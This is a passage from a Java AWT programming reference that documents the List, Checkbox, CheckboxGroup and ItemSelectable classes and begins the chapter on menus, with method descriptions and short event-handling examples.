Pick Me 		Next

9.2 Lists

Like the Choice component, the List provides a way to present your user with a fixed sequence of choices to select. However, with List, several items can be displayed at a time on the screen. A List can also allow multiple selection, so that more than one choice can be selected.

Normally, a scrollbar is associated with the List to enable the user to move to the items that do not fit on the screen. On some platforms, the List may not display the scrollbar if there is enough room to display all choices. A List can be resized by the LayoutManager according to the space available. Figure 9.2 shows two lists, one of which has no items to display.

List Methods

Constructors

public List ()

This constructor creates an empty List with four visible lines. You must rely on the current LayoutManager to resize the List or override the preferredSize() (version 1.0) or getPreferredSize() (version 1.1) method to affect the size of the displayed List. A List created with this constructor is in single-selection mode, so the user can select only one item at a time.

public List (int rows)

This constructor creates a List that has rows visible lines. This is just a request; the LayoutManager is free to adjust the height of the List to some other amount based upon available space. A List created with this constructor is in single-selection mode, so the user will be able to select only one item at a time.

public List (int rows, boolean multipleSelections)

The final constructor for List creates a List that has rows visible lines. This is just a request; the LayoutManager is free to adjust the height of the List to some other amount based upon available space. If multipleSelections is true, this List permits multiple items to be selected. If false, this is a single-selection list.

Figure 9.2: Two lists; the list on the right is empty

[Graphic: Figure 9-2]

Content control

public int getItemCount () (New)
public int countItems () (Deprecated)

The getItemCount() method returns the length of the list. The length of the list is the number of items in the list, not the number of visible rows.

countItems() is the Java 1.0 name for this method.

public String getItem (int index)

The getItem() method returns the String representation for the item at position index. The String is the parameter passed to the addItem() or add() method.

public String[] getItems () (New)

The getItems() method returns a String array that contains all the elements in the List. This method does not care if an item is selected or not.

public synchronized void add (String item) (New)
public synchronized void addItem (String item) (Deprecated)

The add() method adds item as the last entry in the List. If item already exists in the list, this method adds it again.

addItem() is the Java 1.0 name for this method.

public synchronized void add (String item, int index) (New)
public synchronized void addItem (String item, int index) (Deprecated)

This version of the add() method has an additional parameter, index, which specifies where to add item to the List. If index < 0 or index >= getItemCount(), item is added to the end of the List. The position count is zero based, so if index is 0, it will be added as the first item.

addItem() is the Java 1.0 name for this method.

public synchronized void replaceItem (String newItem, int index)

The replaceItem() method replaces the contents at position index with newItem. If the item at index has been selected, newItem will not be selected.

public synchronized void removeAll () (New)
public synchronized void clear () (Deprecated)

The removeAll() method clears out all the items in the list.

clear() is the Java 1.0 name for this method.

NOTE:

Early versions ( Java1.0) of the clear() method did not work reliably across platforms. You were better off calling the method listVar.delItems(0, listVar.countItems()-1), where listVar is your List instance.

public synchronized void remove (String item) (New)

The remove() method removes item from the list of available choices. If item appears in the List several times, only the first instance is removed. If item is null, remove() throws the run-time exception NullPointerException. If item is not found in the List, remove() throws the IllegalArgumentException run-time exception.

public synchronized void remove (int position) (New)
public synchronized void delItem (int position) (Deprecated)

The remove() method removes the entry at position from the List. If position is invalid--either position < 0 or position >= getItemCount()--remove() throws the ArrayIndexOutOfBoundsException run-time exception with a message indicating that position was invalid.

delItem() is the Java 1.0 name for this method.

public synchronized void delItems (int start, int end) (Deprecated)

The delItems() method removes entries from position start to position end from the List. If either parameter is invalid--either start < 0 or end >= getItemCount()--delItems() throws the ArrayIndexOutOfBoundsException run-time exception with a message indicating which position was invalid. If start is greater than end, nothing happens.

Selection and positioning

public synchronized int getSelectedIndex ()

The getSelectedIndex() method returns the position of the selected item. If nothing is selected in the List, getSelectedIndex() returns -1. The value -1 is also returned if the List is in multiselect mode and multiple items are selected. For multiselection lists, use getSelectedIndexes() instead.

public synchronized int[] getSelectedIndexes ()

The getSelectedIndexes() method returns an integer array of the selected items. If nothing is selected, the array will be empty.

public synchronized String getSelectedItem ()

The getSelectedItem() method returns the label of the selected item. The label is the string used in the add() or addItem() call. If nothing is selected in the List, getSelectedItem() returns null. The return value is also null if List is in multiselect mode and multiple items are selected. For multiselection lists, use getSelectedItems() instead.

public synchronized String[] getSelectedItems ()

The getSelectedItems() method returns a String array of the selected items. If nothing is selected, the array is empty.

public synchronized Object[] getSelectedObjects ()

The getSelectedObjects() method returns the results of the method getSelectedItems() as an Object array instead of a String array, to conform to the ItemSelectable interface. If nothing is selected, the returned array is empty.

public synchronized void select (int index)

The select() method selects the item at position index, which is zero based. If the List is in single-selection mode, any other selected item is deselected. If the List is in multiple-selection mode, calling this method has no effect on the other selections. The item at position index is made visible.

NOTE:

A negative index seems to select everything within the List. This seems more like an irregularity than a feature to rely upon.

public synchronized void deselect (int index)

The deselect() method deselects the item at position index, which is zero based. deselect() does not reposition the visible elements.

public boolean isIndexSelected (int index) (New)
public boolean isSelected (int index) (Deprecated)

The isIndexSelected() method checks whether index is currently selected. If it is, isIndexSelected() returns true; otherwise, it returns false.

isSelected() is the Java 1.0 name for this method.

public boolean isMultipleMode () (New)
public boolean allowsMultipleSelections () (Deprecated)

The isMultipleMode() method returns the current state of the List. If the List is in multiselection mode, isMultipleMode() returns true; otherwise, it returns false.

allowsMultipleSelections() is the Java 1.0 name for this method.

public void setMultipleMode (boolean value) (New)
public void setMultipleSelections (boolean value) (Deprecated)

The setMultipleMode() method allows you to change the current state of a List from one selection mode to the other. The currently selected items change when this happens. If value is true and the List is going from single- to multiple-selection mode, the selected item gets deselected. If value is false and the List is going from multiple to single, the last item physically selected remains selected (the last item clicked on in the list, not the item with the highest index). If there was no selected item, the first item in the list becomes selected, or the last item that was deselected becomes selected. If staying within the same mode, setMultipleMode() has no effect on the selected items.

setMultipleSelections() is the Java 1.0 name for this method.

public void makeVisible (int index)

The makeVisible() method ensures that the item at position index is displayed on the screen. This is useful if you want to make sure a certain entry is displayed when another action happens on the screen.

public int getVisibleIndex ()

The getVisibleIndex() method returns the last index from a call to the method makeVisible(). If makeVisible() was never called, -1 is returned.

Sizing

public int getRows ()

The getRows() method returns the number of rows passed to the constructor of the List. It does not return the number of visible rows. To get a rough idea of the number of visible rows, compare the getSize() of the component with the results of getPreferredSize(getRows()).

public Dimension getPreferredSize (int rows) (New)
public Dimension preferredSize (int rows) (Deprecated)

The getPreferredSize() method returns the preferable Dimension (width and height) for the size of a List with a height of rows. The rows specified may be different from the rows designated in the constructor.

preferredSize() is the Java 1.0 name for this method.

public Dimension getPreferredSize () (New)
public Dimension preferredSize () (Deprecated)

The getPreferredSize() method returns the Dimension (width and height) for the preferred size of the List. Without the rows parameter, this version of getPreferredSize() uses the constructor's number of rows to calculate the List's preferred size.

preferredSize() is the Java 1.0 name for this method.

public Dimension getMiminumSize (int rows) (New)
public Dimension minimumSize (int rows) (Deprecated)

The getMinimumSize() method returns the minimum Dimension (width and height) for the size of a List with a height of rows. The rows specified may be different from the rows designated in the constructor. For a List, getMinimumSize() and getPreferredSize() should return the same dimensions.

minimumSize() is the Java 1.0 name for this method.

public Dimension getMiminumSize () (New)
public Dimension minimumSize () (Deprecated)

The getMinimumSize() method returns the minimum Dimension (width and height) for the size of the List. Without the rows parameter, this getMinimumSize() uses the constructor's number of rows to calculate the List's minimum size.

minimumSize() is the Java 1.0 name for this method.

Miscellaneous methods

public synchronized void addNotify ()

The addNotify() method creates the List peer. If you override this method, call super.addNotify() first, then add your customizations for the new class. You will then be able to do everything you need with the information about the newly created peer.

public synchronized void removeNotify ()

The removeNotify() method destroys the peer of the List and removes it from the screen. Prior to the List peer's destruction, the last selected entry is saved. If you override this method for a specific List, issue the particular commands that you need for your new object, then call super.removeNotify() last.

protected String paramString ()

When you call the toString() method of List, the default toString() method of Component is called. This in turn calls paramString(), which builds up the string to display. At the List level, the currently selected item (getSelectedItem()) is appended to the output. Using Figure 9.2 as an example, the results would be the following:

java.awt.List[0,34,107x54,selected=null]

List Events

The primary event for a List occurs when the user selects an item in the list. With the 1.0 event model, double-clicking a selection causes an ACTION_EVENT and triggers the action() method, while single-clicking causes a LIST_SELECT or LIST_DESELECT event. Once the List has the input focus, it is possible to change the selection by using the arrow or keyboard keys. The arrow keys scroll through the list of choices, triggering the KEY_ACTION, LIST_SELECT, LIST_DESELECT, and KEY_ACTION_RELEASE events, and thus the keyDown(), handleEvent(), and keyUp() methods (no specific method gets called for LIST_SELECT and LIST_DESELECT). action() is called only when the user double-clicks on an item with the mouse. If the mouse is used to scroll through the list, no mouse events are triggered; ACTION_EVENT is generated only when the user double-clicks on an item.

With the 1.1 event model, you register an ItemListener with addItemListener() or an ActionListener with the addActionListener() method. When the user selects the List, either the ItemListener.itemStateChanged() method or the ActionListener.actionPerformed() method is called through the protected List.processItemEvent() method or List.processActionEvent() method. Key, mouse, and focus listeners are registered through the three Component methods of addKeyListener(), addMouseListener(), and addFocusListener(), respectively. Action

public boolean action (Event e, Object o)

The action() method for a List is called when the user double-clicks on any item in the List. e is the Event instance for the specific event, while o is the label for the item selected, from the add() or addItem() call. If List is in multiple-selection mode, you might not wish to catch this event because it's not clear whether the user wanted to choose the item just selected or all of the items selected. You can solve this problem by putting a multi-selecting list next to a Button that the user presses when the selection process is finished. Capture the event generated by the Button. The following example shows how to set up and handle a list in this manner, with the display shown in Figure 9.3. In this example, I just print out the selections to prove that I captured them.

import java.awt.*;
import java.applet.*;
public class list3 extends Applet {
   List l;
   public void init () {
        String fonts[];
        fonts = Toolkit.getDefaultToolkit().getFontList();
        l = new List(4, true);
        for (int i = 0; i < fonts.length; i++) {
            l.addItem (fonts[i]);
        }
        setLayout (new BorderLayout (10, 10));
        add ("North", new Label ("Pick Font Set"));
        add ("Center", l);
        add ("South", new Button ("Submit"));
        resize (preferredSize());
        validate();
   }
   public boolean action (Event e, Object o) {
        if (e.target instanceof Button) {
             String chosen[] = l.getSelectedItems();
             for (int i=0;i<chosen.length;i++)
                System.out.println (chosen[i]);
        }
        return false;
   }
}

Figure 9.3: Multiselect List

[Graphic: Figure 9-3]

Keyboard

Ordinarily, List generates all the KEY events once it has the input focus. But the way it handles keyboard input differs slightly depending upon the selection mode of the list. Furthermore, each platform offers slightly different behavior, so code that depends on keyboard events in List is not portable. One strategy is to take advantage of the keyboard events when they are available but allow for another way of managing the list in case they are not.

public boolean keyDown (Event e, int key)

The keyDown() method is called whenever the user presses a key while the List has the input focus. e is the Event instance for the specific event, while key is the integer representation of the character pressed. The identifier for the event (e.id) for keyDown() could be either KEY_PRESS for a regular key or KEY_ACTION for an action-oriented key (i.e., arrow or function key). If you check the current selection in this method through getSelectedItem() or getSelectedIndex(), you will actually be told the previously selected item because the List's selection has not changed yet. keyDown() is not called when the user selects items with the mouse.

public boolean keyUp (Event e, int key)

The keyUp() method is called whenever the user releases a key while the List has the input focus. e is the Event instance for the specific event, while key is the integer representation of the character pressed. The identifier for the event (e.id) for keyUp() could be either KEY_RELEASE for a regular key or KEY_ACTION_RELEASE for an action-oriented key (i.e., arrow or function key).

Mouse

Ordinarily, the List component does not trigger any mouse events. Double-clicking the mouse over any element in the list generates an ACTION_EVENT. Single-clicking could result in either a LIST_SELECT or LIST_DESELECT, depending on the mode of the List and the current state of the item chosen. When the user changes the selection with the mouse, the ACTION_EVENT is posted only when an item is double-clicked. List

There is a special pair of events for lists: LIST_SELECT and LIST_DESELECT. No special method is called when these events are triggered. However, you can catch them in the handleEvent() method. If the List is in single-selection mode, a LIST_SELECT event is generated whenever the user selects one of the items in the List. In multiple-selection mode, you will get a LIST_SELECT event when an element gets selected and a LIST_DESELECT event when it is deselected. The following code shows how to use this event type.

public boolean handleEvent (Event e) {
    if (e.id == Event.LIST_SELECT) {
        System.out.println ("Selected item: " + e.arg);
        return true;
    } else {
        return super.handleEvent (e);
    }
}
Focus

Normally, the List component does not reliably trigger any focus events. Listeners and 1.1 event handling

With the 1.1 event model, you register listeners, and they are told when the event happens.

public void addItemListener(ItemListener listener) (New)

The addItemListener() method registers listener as an object interested in being notified when an ItemEvent passes through the EventQueue with this List as its target. The listener.itemStateChanged() method is called when these events occur. Multiple listeners can be registered.

public void removeItemListener(ItemListener listener) (New)

The removeItemListener() method removes listener as an interested listener. If listener is not registered, nothing happens.

public void addActionListener(ActionListener listener) (New)

The addActionListener() method registers listener as an object interested in being notified when an ActionEvent passes through the EventQueue with this List as its target. The listener.actionPerformed() method is called when these events occur. Multiple listeners can be registered.

public void removeActionListener(ActionListener listener) (New)

The removeActionListener() method removes listener as a interested listener. If listener is not registered, nothing happens.

protected void processEvent(AWTEvent e) (New)

The processEvent() method receives all AWTEvents with this List as its target. processEvent() then passes them along to any listeners for processing. When you subclass List, overriding processEvent() allows you to process all events yourself, before sending them to any listeners. In a way, overriding the method processEvent() is like overriding handleEvent() using the 1.0 event model.

If you override processEvent(), remember to call super.processEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

protected void processItemEvent(ItemEvent e) (New)

The processItemEvent() method receives all ItemEvents with this List as its target. processItemEvent() then passes them along to any listeners for processing. When you subclass List, overriding processItemEvent() allows you to process all events yourself, before sending them to any listeners. In a way, overriding processItemEvent() is like overriding handleEvent() to deal with LIST_SELECT and LIST_DESELECT using the 1.0 event model.

If you override processItemEvent(), remember to call the method super.processItemEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

protected void processActionEvent(ActionEvent e) (New)

The processActionEvent() method receives all ActionEvents with this List as its target. processActionEvent() then passes them along to any listeners for processing. When you subclass List, overriding processActionEvent() allows you to process all action events yourself, before sending them to any listeners. In a way, overriding processActionEvent() is like overriding action() using the 1.0 event model.

If you override processActionEvent(), remember to call the method super.processActionEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

Previous | Home | Next
Choice | Book Index | Checkbox
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] 9.3 Checkbox

Previous Chapter 9
Pick Me 		Next

9.3 Checkbox

The Checkbox is a general purpose way to record a true or false state. When several checkboxes are associated in a CheckboxGroup (CheckboxGroup), only one can be selected at a time; selecting each Checkbox causes the previous selection to become deselected. The CheckboxGroup is Java's way of offering the interface element known as radio buttons or a radio box. When you create a Checkbox, you decide whether to place it into a CheckboxGroup by setting the proper argument in its constructor.

Every Checkbox has both a label and a state, although the label could be empty. You can change the label based on the state of the Checkbox. Figure 9.4 shows what several Checkbox components might look like. The two on the left are independent, while the five on the right are in a CheckboxGroup. Note that the appearance of a Checkbox varies quite a bit from platform to platform. However, the appearance of a CheckboxGroup is always different from the appearance of an ungrouped Checkbox, and the appearance of a checked Checkbox is different from an unchecked Checkbox.

Figure 9.4: Two separate checkboxes and a CheckboxGroup

[Graphic: Figure 9-4]

Checkbox Methods

Constructors

public Checkbox ()

This constructor for Checkbox creates a new instance with no label or grouping. The initial state of the item is false. A checkbox doesn't necessarily need a label; however, a checkbox without a label might be confusing, unless it is being used as a column in a table or a spreadsheet.

public Checkbox (String label)

The second constructor creates a new Checkbox with a label of label and no grouping. The initial state of the item is false. If you want a simple yes/no choice and plan to make no the default, use this constructor. If the Checkbox will be in a group or you want its initial value to be true, use the next constructor.

public Checkbox (String label, boolean state) (New)

This constructor allows you to specify the Checkbox's initial state. With it you create a Checkbox with a label of label and an initial state of state.

public Checkbox (String label, boolean state, CheckboxGroup group) (New)
public Checkbox (String label, CheckboxGroup group, boolean state)

The final constructor for Checkbox is the most flexible. With this constructor you create a Checkbox with a label of label, a CheckboxGroup of group, and an initial state of state. If group is null, the Checkbox is independent.

In Java 1.0, you created an independent Checkbox with an initial value of true by using null as the group:

Checkbox cb = new Checkbox ("Help", null, true)

The shape of the Checkbox reflects whether it's in a CheckboxGroup or independent. On Microsoft Windows, grouped checkboxes are represented as circles. On a UNIX system, they are diamonds. On both systems, independent checkboxes are squares.

Label

public String getLabel ()

The getLabel() method retrieves the current label on the Checkbox and returns it as a String object.

public synchronized void setLabel (String label)

The setLabel() method changes the label of the Checkbox to label. If the new label is a different size than the old one, you have to validate() the container after the change to ensure the entire label will be seen.

State

A state of true means the Checkbox is selected. A state of false means that the Checkbox is not selected.

public boolean getState ()

The getState() method retrieves the current state of the Checkbox and returns it as a boolean.

public void setState (boolean state)

The setState() method changes the state of the Checkbox to state. If the Checkbox is in a CheckboxGroup and state is true, the other items in the group become false.

ItemSelectable method

public Objects[] getSelectedObjects () (New)

The getSelectedObjects() method returns the Checkbox label as a one-element Object array if it is currently selected, or null if the Checkbox is not selected. Because this method is part of the ItemSelectable interface, you can use it to look at the selected items in a Choice, List, or Checkbox.

CheckboxGroup

This section lists methods that you issue to Checkbox to affect its relationship to a CheckboxGroup. Methods provided by the CheckboxGroup itself can be found later in this chapter.

public CheckboxGroup getCheckboxGroup ()

The getCheckboxGroup() method returns the current CheckboxGroup for the Checkbox. If the Checkbox is not in a group, this method returns null.

public void setCheckboxGroup (CheckboxGroup group)

The setCheckboxGroup() method allows you to insert a Checkbox into a different CheckboxGroup. To make the Checkbox independent, pass a group argument of null. The method sets every Checkbox in the original CheckboxGroup to false (cb.getCheckboxGroup().setCurrent(null)), then the Checkbox is added to the new group without changing any values in the new group.

Checkbox components take on a different shape when they are in a CheckboxGroup. If the checkbox was originally not in a CheckboxGroup, the shape of the checkbox does not change automatically when you put it in one with setCheckboxGroup(). (This also holds when you remove a Checkbox from a CheckboxGroup and make it independent or vice versa.) In order for the Checkbox to look right once added to group, you need to destroy and create (removeNotify() and addNotify(), respectively) the Checkbox peer to correct the shape. Also, it is possible to get multiple true Checkbox components in group this way, since the new CheckboxGroup's current selection does not get adjusted. To avoid this problem, make sure it is grouped properly the first time, or be sure to clear the selections with a call to getCheckboxGroup().setCurrent(null).

Miscellaneous methods

public synchronized void addNotify ()

The addNotify() method will create the Checkbox peer in the appropriate shape. If you override this method, call super.addNotify() first, then add your customizations for the new class. You will then be able to do everything you need with the information about the newly created peer.

protected String paramString ()

When you call the toString() method of Checkbox, the default toString() method of Component is called. This in turn calls paramString() which builds up the string to display. At the Checkbox level, the label (if non-null) and the state of the item are appended. Assuming the Dialog Checkbox in Figure 9.4 was selected, the results would be:

java.awt.Checkbox[85,34,344x32,label=Dialog,state=true]

Checkbox Events

The primary event for a Checkbox occurs when the user selects it. With the 1.0 event model, this generates an ACTION_EVENT and triggers the action() method. Once the Checkbox has the input focus, the various keyboard events can be generated, but they do not serve any useful purpose because the Checkbox doesn't change. The sole key of value for a Checkbox is the spacebar. This may generate the ACTION_EVENT after KEY_PRESS and KEY_RELEASE; thus the sequence of method calls would be keyDown(), keyUp(), and then action().

With the version 1.1 event model, you register an ItemListener with the method addItemListener(). Then when the user selects the Checkbox, the method ItemListener.itemStateChanged() is called through the protected Checkbox.processItemEvent() method. Key, mouse, and focus listeners are registered through the Component methods of addKeyListener(), addMouseListener(), and addFocusListener(), respectively. Action

public boolean action (Event e, Object o)

The action() method for a Checkbox is called when the user selects it. e is the Event instance for the specific event, while o is the opposite of the old state of the toggle. If the Checkbox was true when it was selected, o will be false. Likewise, if it was false, o will be true. This incantation sounds unnecessarily complex, and for a single Checkbox, it is: o is just the new state of the Checkbox. The following code uses action() with a single Checkbox.

public boolean action (Event e, Object o) {
    if (e.target instanceof Checkbox) {
        System.out.println ("Checkbox is now " + o);
    }
    return false;
}

On the other hand, if the Checkbox is in a CheckboxGroup, o is still the opposite of the old state of the toggle, which may or may not be the new state of the Checkbox. If the Checkbox is initially false, o will be true, and the Checkbox's new state will be true. However, if the Checkbox is initially true, selecting the Checkbox doesn't change anything because one Checkbox in the group must always be true. In this case, o is false (the opposite of the old state), though the Checkbox's state remains true.

Therefore, if you're working with a CheckboxGroup and need to do something once when the selection changes, perform your action only when o is true. To find out which Checkbox was actually chosen, you need to call the getLabel() method for the target of event e. (It would be nice if o gave us the label of the Checkbox that was selected, but it doesn't.) An example of this follows:

public boolean action (Event e, Object o) {
    if (e.target instanceof Checkbox) {
        System.out.println (((Checkbox)(e.target)).getLabel() +
            " was selected.");
        if (new Boolean (o.toString()).booleanValue()) {
            System.out.println ("New option chosen");
        } else {
            System.out.println ("Use re-selected option");
        }
    }
    return false;
}

One other unfortunate twist of CheckboxGroup: it would be nice if there was some easy way to find out about checkboxes that change state without selection--for example, if you could find out which Checkbox was deselected when a new Checkbox was selected. Unfortunately, you can't, except by keeping track of the state of all your checkboxes at all times. When a Checkbox state becomes false because another Checkbox was selected, no additional event is generated, in either Java 1.0 or 1.1. Keyboard

Checkboxes are able to capture keyboard-related events once the Checkbox has the input focus, which happens when it is selected. If you can find a use for this, you can use keyDown() and keyUp(). For most interface designs I can think of, action() is sufficient. A possible use for keyboard events is to jump to other Checkbox options in a CheckboxGroup, but I think that is more apt to confuse users than help.

public boolean keyDown (Event e, int key)

The keyDown() method is called whenever the user presses a key while the Checkbox has the input focus. e is the Event instance for the specific event, while key is the integer representation of the character pressed. The identifier for the event (e.id) for keyDown() could be either KEY_PRESS for a regular key or KEY_ACTION for an action-oriented key (i.e., arrow or function key). There is no visible indication that the user has pressed a key over the checkbox.

public boolean keyUp (Event e, int key)

The keyUp() method is called whenever the user releases a key while the Checkbox has the input focus. e is the Event instance for the specific event, while key is the integer representation of the character pressed. The identifier for the event (e.id) for keyUp() could be either KEY_RELEASE for a regular key or KEY_ACTION_RELEASE for an action-oriented key (i.e., arrow or function key). keyUp() may be used to determine how long key has been pressed.

Mouse

Ordinarily, the Checkbox component does not reliably trigger any mouse events. Focus

Ordinarily, the Checkbox component does not reliably trigger any focus events. Listeners and 1.1 event handling

With the 1.1 event model, you register listeners, and they are told when the event happens.

public void addItemListener(ItemListener listener) (New)

The addItemListener() method registers listener as an object interested in being notified when an ItemEvent passes through the EventQueue with this Checkbox as its target. Then, the listener.itemStateChanged() method will be called. Multiple listeners can be registered.

public void removeItemListener(ItemListener listener) (New)

The removeItemListener() method removes listener as a interested listener. If listener is not registered, nothing happens.

protected void processEvent(AWTEvent e) (New)

The processEvent() method receives every AWTEvent with this Checkbox as its target. processEvent() then passes it along to any listeners for processing. When you subclass Checkbox, overriding processEvent() allows you to process all events yourself, before sending them to any listeners. In a way, overriding processEvent() is like overriding handleEvent() using the 1.0 event model.

If you override processEvent(), remember to call super.processEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

protected void processItemEvent(ItemEvent e) (New)

The processItemEvent() method receives every ItemEvent with this Checkbox as its target. processItemEvent() then passes it along to any listeners for processing. When you subclass Checkbox, overriding processItemEvent() allows you to process all events yourself, before sending them to any listeners. In a way, overriding processItemEvent() is like overriding action() using the 1.0 event model.

If you override processItemEvent(), remember to call the method super.processItemEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

Previous | Home | Next
Lists | Book Index | CheckboxGroup
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] 9.4 CheckboxGroup

Previous Chapter 9
Pick Me 		Next

9.4 CheckboxGroup

The CheckboxGroup lets multiple checkboxes work together to provide a mutually exclusion choice (at most one Checkbox can be selected at a time). Because the CheckboxGroup is neither a Component nor a Container, you should normally put all the Checkbox components associated with a CheckboxGroup in their own Panel (or other Container). The LayoutManager of the Panel should be GridLayout (0, 1) if you want them in one column. Figure 9.5 shows both a good way and bad way of positioning a set of Checkbox items in a CheckboxGroup. The image on the left is preferred because the user can sense that the items are grouped; the image on the right suggests three levels of different checkboxes and can therefore surprise the user when checkboxes are deselected.

Figure 9.5: Straightforward and confusing layouts of Checkbox components

[Graphic: Figure 9-5]

CheckboxGroup Methods

Constructors

public CheckboxGroup ()

This constructor creates an instance of CheckboxGroup.

Miscellaneous methods

public int getSelectedCheckbox () (New)
public Checkbox getCurrent () (Deprecated)

The getSelectedCheckbox() method returns the Checkbox within the CheckboxGroup whose value is true. If no item is selected, null is returned.

getCurrent() is the Java 1.0 name for this method.

public synchronized void setSelectedCheckbox (Checkbox checkbox) (New)
public synchronized void setCurrent (Checkbox checkbox) (Deprecated)

The setSelectedCheckbox() method makes checkbox the currently selected Checkbox within the CheckboxGroup. If checkboxis null, the method deselects all the items in the CheckboxGroup. If checkbox is not within the CheckboxGroup, nothing happens.

setCurrent() is the Java 1.0 name for this method.

public String toString ()

The toString() method of CheckboxGroup creates a String representation of the current choice (as returned by getSelectedCheckbox()). Using the "straightforward" layout in Figure 9.5 as an example, the results would be:

java.awt.CheckboxGroup[current=java.awt.Checkbox[0,31,85x21,
    label=Helvetica,state=true]]

If there is no currently selected item, the results within the square brackets would be current=null.

Previous | Home | Next
Checkbox | Book Index | ItemSelectable
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] 9.5 ItemSelectable

Previous Chapter 9
Pick Me 		Next

9.5 ItemSelectable

In Java 1.1, the classes Checkbox, Choice, List, and CheckboxMenuItem (covered in the next chapter) share a common interface that defines a method for getting the currently selected item or items. This means that you can use the same methods to retrieve the selection from any of these classes. More important, it means that you can write code that doesn't know what kind of selectable item it's working with. For example, you could write a method that returns the selectable component from some user interface. This method might have the signature:

public ItemSelectable getChooser();

After you call this method, you can read selections from the user interface without knowing exactly what you're dealing with.

Methods

public Object[] getSelectedObjects () (New)

The getSelectedObjects() method returns the currently selected item or items as an Object array. The return value is null if there is nothing selected.

Previous | Home | Next
CheckboxGroup | Book Index | Would You Like to Choose from the Menu?
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Would You Like to Choose from the Menu?

Previous Chapter 10 Next

10. Would You Like to Choose from the Menu?

Contents:
MenuComponent
MenuContainer
MenuShortcut
MenuItem
Menu
CheckboxMenuItem
MenuBar
Putting It All Together
PopupMenu

In Chapter 6, Containers, I mentioned that a Frame can have a menu. Indeed, to offer a menu in the AWT, you have to attach it to a Frame. With versions 1.0.2 and 1.1, Java does not support menu bars within an applet or any other container. We hope that future versions of Java will allow menus to be used with other containers. Java 1.1 goes partway toward solving this problem by introducing a PopupMenu that lets you attach context menus to any Component. Java 1.1 also adds MenuShortcut events, which represent keyboard accelerator events for menus.

Implementing a menu in a Frame involves connections among a number of different objects: MenuBar, Menu, MenuItem, and the optional CheckboxMenuItem. Several of these classes implement the MenuContainer interface. Once you've created a few menus, you'll probably find the process quite natural, but it's hard to describe until you see what all the objects are. So this chapter describes most of the menu classes first and then shows an example demonstrating their use.

All the components covered in previous chapters were subclasses of Component. Most of the objects in this chapter subclass MenuComponent, which encapsulates the common functionality of menu objects. The MenuComponent class hierarchy is shown in Figure 10.1.

Figure 10.1: MenuComponent class hierarchy

[Graphic: Figure 10-1]

To display a Menu, you must first put it in a MenuBar, which you add to a Frame. (Pop-up menus are different in that they don't need a Frame.) A Menu can contain MenuItem as well as other menus that form submenus. CheckboxMenuItem is a specialized MenuItem that (as you might guess) the user can toggle like a Checkbox. One way to visualize how all these things work together is to imagine a set of curtains. The different MenuItem components are the fabrics and panels that make up the curtains. The Menus are the curtains. They get hung from the MenuBar, which is like a curtain rod. Then you place the MenuBar curtain rod into the Frame (the window, in our metaphor), curtains and all.

It might puzzle you that a Menu is a subclass of MenuItem, not the other way around. This is because a Menu can appear on a Menu just like another MenuItem, which would not be possible if the hierarchy was the other way around. Figure 10.2 points out the different pieces involved in the creation of a menu: the MenuBar and various kinds of menu items, including a submenu.

Figure 10.2: The pieces that make up a Menu

[Graphic: Figure 10-2]

10.1 MenuComponent

MenuComponent is an abstract class that is the parent of all menu-related objects. You will never create an instance of the object. Nor are you likely to subclass it yourself--to make the subclass work, you'd have to provide your own peer on every platform where you want the application to run.

MenuComponent Methods

Constructor

public MenuComponent ()--cannot be called directly

Since MenuComponent is an abstract class, you cannot create an instance of the object. This method is called when you create an instance of one of its children.

Fonts

public Font getFont ()

The getFont() method retrieves the font associated with the MenuComponent from setFont(). If the current object's font has not been set, the parent menu's font is retrieved. If there is no parent and the current object's font has not been set, getFont() returns null.

public void setFont (Font f)

The setFont() method allows you to change the font of the particular menu-related component to f. When a MenuComponent is first created, the initial font is null, so the parent menu's font is used.

NOTE:

Some platforms do not support changing the fonts of menu items. Where supported, it can make some pretty ugly menus.

Names

The name serves as an alternative, nonlocalized reference identifier for menu components. If your event handlers compare menu label strings to an expected value and labels are localized for a new environment, the approach fails.

public String getName ()

The getName() method retrieves the name of the menu component. Every instance of a subclass of MenuComponent is named when it is created.

public void setName (String name)

The setName() method changes the current name of the component to name.

Peers

public MenuComponentPeer getPeer () (Deprecated)

The getPeer() method returns a reference to the MenuComponent peer as a MenuComponentPeer.

public synchronized void removeNotify ()

The removeNotify() method destroys the peer of the MenuComponent and removes it from the screen. addNotify() will be specific to the subclass.

Events

Event handling is slightly different between versions. If using the 1.0 event model, use postEvent(). Otherwise, use dispatchEvent() to post an event to this MenuComponent or processEvent() to receive and handle an event. Remember not to mix versions within your programs.

public boolean postEvent (Event e) (Deprecated)

The postEvent() method posts Event e to the MenuComponent. The event is delivered to the Frame at the top of the object hierarchy that contains the selected MenuComponent. The only way to capture this event before it gets handed to the Frame is to override this method. There are no helper functions as there are for Components. Find out which MenuComponent triggered the event by checking e.arg, which contains its label, or ((MenuItem)e.target).getName() for the nonlocalized name of the target.

public boolean postEvent (Event e) {
    // Use getName() vs. e.arg for localization possibility
    if ("About".equals (((MenuItem)e.target).getName()))
        playLaughingSound(); // Help request
    return super.postEvent (e);
}

If you override this method, in order for this Event to propagate to the Frame that contains the MenuComponent, you must call the original postEvent() method (super.postEvent(e)).

The actual value returned by postEvent() is irrelevant.

public final void dispatchEvent(AWTEvent e) (New)

The dispatchEvent() method allows you to post new AWT events to this menu component's listeners. dispatchEvent() tells the MenuComponent to deal with the AWTEvent e by calling its processEvent() method. This method is similar to Java 1.0's postEvent() method. Events delivered in this way bypass the system's event queue. It's not clear why you would want to bypass the event queue, except possibly to deliver some kind of high priority event.

protected void processEvent(AWTEvent e) (New)

